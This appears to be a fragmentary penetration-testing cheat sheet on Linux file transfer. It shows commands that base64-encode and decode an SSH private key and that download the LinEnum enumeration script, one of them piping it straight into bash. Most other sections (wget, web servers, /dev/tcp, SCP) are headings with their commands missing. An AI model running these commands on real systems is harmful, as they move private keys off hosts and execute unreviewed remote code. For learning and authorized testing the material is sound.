Linux

BASE64

Check MD5 Hash

md5sum id_rsa

Encode

In this example we are encoding SSH Key to Base64

cat id_rsa |base64 -w 0;echo

Decode

echo -n 'justimaginethisissomerandomhashbecauseyoudontcareandidontcare=` | base64 -d > id_rsa

CURL

Regular Download

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Fileless Download

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Multiple File Upload

WGET

Regular Download

Fileless Download

Upload

Mechanism is similar to Windows web upload using uploadserver module:

Secure HTTPS Web Server

  1. Start Web Server

  1. Create a Self-Signed Certificate

  1. Start Web Server

Alternative Methods

Creating a Web Server with Python3

Creating a Web Server with Python2.7

Creating a Web Server with PHP

Creating a Web Server with Ruby

Bash(/dev/tcp)

Connect to the Target Webserver

HTTP GET Request

SCP

SSH is a protocol that allows secure access to remote computers. And we could use SCP utility which uses SSH protocol for transferring files

Preparation

Enabling the SSH Server

Starting the SSH Server

Checking for SSH Listening Port

Download

Upload

Last updated